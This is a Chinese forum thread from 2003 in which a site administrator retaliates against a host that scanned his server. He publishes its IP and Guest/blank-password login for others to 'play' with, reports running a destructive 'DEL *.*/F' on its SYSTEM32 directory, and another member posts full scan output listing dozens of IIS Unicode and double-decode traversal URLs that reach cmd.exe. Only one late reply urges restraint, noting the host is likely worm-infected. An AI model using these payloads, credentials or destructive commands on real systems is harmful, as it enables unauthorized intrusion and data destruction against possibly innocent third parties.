找回密码
 立即注册
搜索
查看: 100|回复: 22

有个变态扫了我服务器一整天.

[复制链接]

873

主题

6353

回帖

9701

积分

管理员

积分
9701
发表于 2003-1-21 00:18:11 | 显示全部楼层 |阅读模式
真够变态,我发了1000条信息给他,稍微警告一下先.有哪个想研究一下的去玩一下啦.202.105.237.222,超级用户名称为Guest,密码为空.明天回去看到他还没停,我给他来个FORMAT:P

94

主题

1126

回帖

1657

积分

荣誉版主

积分
1657
发表于 2003-1-21 00:55:41 | 显示全部楼层
XX他...

;(
回复

使用道具 举报

873

主题

6353

回帖

9701

积分

管理员

积分
9701
 楼主| 发表于 2003-1-21 01:05:08 | 显示全部楼层
刚给他的SYSTEM32目录来了个DEL *.*/F,不知有没有用呢?
回复

使用道具 举报

发表于 2003-1-21 03:01:23 | 显示全部楼层
最初由 原振侠 发布
[B]刚给他的SYSTEM32目录来了个DEL *.*/F,不知有没有用呢? [/B]
反正现在我是连他不上了!;(
回复

使用道具 举报

308

主题

1643

回帖

2674

积分

荣誉版主

积分
2674
发表于 2003-1-21 08:11:54 | 显示全部楼层
菜鸟来的,警告他一下就算了!
回复

使用道具 举报

发表于 2003-1-21 10:16:34 | 显示全部楼层
我来扫描一下
回复

使用道具 举报

发表于 2003-1-21 10:18:29 | 显示全部楼层
哈哈,漏洞真多啊!!!

正在检测"202.105.237.222" ...
[202.105.237.222]: 正在检测"路由信息" ...
[202.105.237.222]: 发现 "路由信息".
[202.105.237.222]: 正在检测"开放端口" ...
[202.105.237.222]: 端口80开放: HTTP, World Wide Web
[202.105.237.222]: 端口135开放: Location Service
[202.105.237.222]: 端口139开放: NETBIOS Session Service
[202.105.237.222]: 端口443开放: HttpS, Secure HTTP
[202.105.237.222]: 端口445开放: Microsoft-DS
[202.105.237.222]: "开放端口"扫描完成, 发现 5.
[202.105.237.222]: 正在检测"Snmp信息" ...
[202.105.237.222]: "Snmp信息"扫描完成.
[202.105.237.222]: 正在检测"SSL漏洞" ...
[202.105.237.222]: "SSL漏洞"扫描完成.
[202.105.237.222]: 正在检测"RPC漏洞" ...
[202.105.237.222]: 无法与主机"202.105.237.222"建立连接
[202.105.237.222]: "RPC漏洞"扫描完成.
[202.105.237.222]: 正在检测"SQL-Server弱口令" ...
[202.105.237.222]: 无法与主机"202.105.237.222"建立连接
[202.105.237.222]: "SQL-Server弱口令"扫描完成.
[202.105.237.222]: 正在检测"FTP弱口令" ...
[202.105.237.222]: 无法与主机"202.105.237.222"建立连接
[202.105.237.222]: "FTP弱口令"扫描完成.
[202.105.237.222]: 正在检测"NT-Server弱口令" ...
[202.105.237.222]: 发现 NT-Server弱口令: Guest/[空口令]
[202.105.237.222]: "NT-Server弱口令"扫描完成, 发现 1.
[202.105.237.222]: 正在检测"NetBios信息" ...
[202.105.237.222]: 获取Netbios信息"远程注册表信息"完成
[202.105.237.222]: 建立IPC$空会话成功
[202.105.237.222]: 获取Netbios信息"服务器信息"完成
[202.105.237.222]: 获取Netbios信息"服务器时间"完成
[202.105.237.222]: 获取Netbios信息"主域控制器名称"完成
[202.105.237.222]: 获取Netbios信息"网络传输列表"完成
[202.105.237.222]: 获取Netbios信息"网络会话列表"完成
[202.105.237.222]: 获取Netbios信息"网络服务器列表"完成
[202.105.237.222]: 获取Netbios信息"网络磁盘列表"完成
[202.105.237.222]: 获取Netbios信息"网络共享资源列表"完成
[202.105.237.222]: 获取Netbios信息"网络用户列表"完成
[202.105.237.222]: 获取Netbios信息"本地组列表"完成
[202.105.237.222]: 获取Netbios信息"组列表"完成
[202.105.237.222]: 获取Netbios信息"网络文件列表"完成
[202.105.237.222]: 获取Netbios信息"网络映射列表"完成
[202.105.237.222]: 获取Netbios信息"服务统计"完成
[202.105.237.222]: 获取Netbios信息"计划任务列表"完成
[202.105.237.222]: IPC$会话已结束
[202.105.237.222]: 发现 "NetBios信息".
[202.105.237.222]: 正在检测"SMTP漏洞" ...
[202.105.237.222]: 无法与主机"202.105.237.222"建立连接
[202.105.237.222]: "SMTP漏洞"扫描完成.
[202.105.237.222]: 正在检测"POP3弱口令" ...
[202.105.237.222]: 无法与主机"202.105.237.222"建立连接
[202.105.237.222]: "POP3弱口令"扫描完成.
[202.105.237.222]: 正在检测"CGI漏洞" ...
[202.105.237.222]: 正在检测"HTTP重定向错误页面" ...
[202.105.237.222]: 正在检测"CGI漏洞" ...
[202.105.237.222]: 发现 CGI漏洞: /scripts/samples/search/qsumrhit.htw
[202.105.237.222]: 发现 CGI漏洞: /scripts/samples/search/qfullhit.htw
[202.105.237.222]: 发现 CGI漏洞: /null.ida
[202.105.237.222]: 发现 CGI漏洞: /null.idq
[202.105.237.222]: 发现 CGI漏洞: /_vti_inf.html
[202.105.237.222]: 发现 CGI漏洞: /abczxv.htw
[202.105.237.222]: 发现 CGI漏洞: /_vti_bin/shtml.dll/_vti_rpc
[202.105.237.222]: 发现 CGI漏洞: /_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1
[202.105.237.222]: 发现 CGI漏洞: /_vti_bin/shtml.dll/nosuch.htm
[202.105.237.222]: 发现 CGI漏洞: /_vti_bin/shtml.dll
[202.105.237.222]: 发现 CGI漏洞: /_vti_bin/shtml.exe
[202.105.237.222]: "CGI漏洞"扫描完成, 发现 11.
[202.105.237.222]: 正在检测"IIS漏洞" ...
[202.105.237.222]: 正在检测"HTTP重定向错误页面" ...
[202.105.237.222]: 正在检测"IIS漏洞" ...
[202.105.237.222]: 发现 IIS漏洞: /_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /_vti_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /a.asp/..%c0%2f../..%c0%2f../winnt/win.ini
[202.105.237.222]: 发现 IIS漏洞: /a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c%20dir%20C:\
[202.105.237.222]: 发现 IIS漏洞: /scripts/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c%20dir%20C:\
[202.105.237.222]: 发现 IIS漏洞: /_vti_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /_vti_bin/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /_vti_bin/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%%35%63../..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%%35c../..%%35c../..%%35cwinnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%25%35%63../..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%255c../..%255c../..%255cwinnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%255c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/check.bat/..%%35c../..%%35cwinnt/system32/cmd.exe?/c%20dir%20C:\
[202.105.237.222]: 发现 IIS漏洞: /scripts/check.bat/..%25%35%63../..%25%35%63winnt/system32/cmd.exe?/c%20dir%20C:\
[202.105.237.222]: 发现 IIS漏洞: /scripts/check.bat/..%255c../..%255cwinnt/system32/cmd.exe?/c%20dir%20C:\
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c%20dir%20C:\
[202.105.237.222]: 发现 IIS漏洞: /_vti_bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%u00255c../..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/..%u00255c../winnt/system32/cmd.exe?/c+dir
[202.105.237.222]: 发现 IIS漏洞: /scripts/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c%20dir%20C:\
[202.105.237.222]: 可能存在"IIS .asp映射分块编码远程缓冲区溢出"漏洞
[202.105.237.222]: 可能存在"IIS Index Server ISAPI扩展远程溢出"漏洞(/NULL.ida)
[202.105.237.222]: 可能存在"IIS Index Server ISAPI扩展远程溢出"漏洞(/NULL.idq)
[202.105.237.222]: "IIS漏洞"扫描完成, 发现 39.
[202.105.237.222]: 正在检测"BIND漏洞" ...
[202.105.237.222]: "BIND漏洞"扫描完成.
[202.105.237.222]: 正在检测"Finger漏洞" ...
[202.105.237.222]: "Finger漏洞"扫描完成.
[202.105.237.222]: 正在检测"Sygate漏洞" ...
[202.105.237.222]: "Sygate漏洞"扫描完成.
[202.105.237.222]: 扫描全部完成.

扫描全部完成
回复

使用道具 举报

发表于 2003-1-21 10:23:29 | 显示全部楼层
附件为详细资料。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
回复

使用道具 举报

414

主题

5884

回帖

6347

积分

荣誉版主

积分
6347
发表于 2003-1-21 10:59:41 | 显示全部楼层
倒霉的家伙。
估计还不知道自己是咋死地。
回复

使用道具 举报

77

主题

1600

回帖

2372

积分

荣誉版主

A Newbie

积分
2372
发表于 2003-1-21 11:14:14 | 显示全部楼层
我看他不是存心在扫描你,从他的这一堆漏洞来看,很可能他中了类似Nimda之类的病毒,所以出现这个现象。
还是对别人手下留情比较好。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|海浩社区

GMT+8, 2025-9-15 23:25 , Processed in 0.098835 second(s), 24 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表